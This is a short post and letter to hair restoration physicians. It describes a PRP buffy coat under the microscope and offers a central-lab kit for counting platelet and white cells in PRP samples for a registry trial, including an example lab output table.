Do you remember petticoat junction? Well this is hashtagprp buffycoat junction under the microscope at 200x, at intersection of platelet+wbc buffy coat above and packed rbc below. rbc’s (red) easy to spot; wbc’s (white) of similar size as rbc floating above; platelets tougher to spot, appear as small darker shadows floating with wbc

Dear Hair Restoration Physician,


As part of our ‘scalp prp + photomed for hair regrowth’ registry trial planning, we have set up a central lab to measure cell counts with differentials on prp and related blood components (full prp cell lab profile includes cell counts and differential on 1 whole blood, 2 packed rbc, 3 ppp, 4 prp).

Here are the particulars:
A. prp cell lab pak – contains 4 collection tubes to collect and send up to 4 samples from your prp procedure to our lab  (1 whole blood, 2 packed rbc, 3 ppp, 4 prp); note – you can also label and send your used syringe and/or kit centrifugation vessels where we can typically recover sufficient amounts to test.
B. sample size – 20ul minimum, up to 1.8ml; for example, residual volume of prp in syringe luer tip and needle base after injection is around 75ul and may be recovered to send to our lab for cell counts + differential; or if you are mixing prp with additives, these will interfere with cell counts so it is best to send residual amount in centrifugation vessel which may be around 150ul.
C. transport – use the prepaid fedex 2-day mailer included in the prp cell lab pak
Here is example output from the lab:
sample vol(cc) plt plt conc. plt yield wbc ly mo ly mo yield gr gr yield hct
blood 4 60 206 8.8 1.7 0.4 6.8 44.8%
prp 4 7 1658 8.0 93.9% 9.6 8.3 0.8 50.6% 0.5 0.9% 0.4%
cell count units are x 10^3/uL
In this example, resulting prp sample showed 8x plt concentration with a 94% platelet recovery in 7cc prp produced from 50cc blood draw + 10cc na-citrate anticoagulant, along with low hct and low granulocytes. (example from performance data report here for FDA 510K submission of a hybrid prp kit that should be available later this year as part of the registry trial).
See more detail at and email or call me for questions and/or to request a prp cell lab pak.
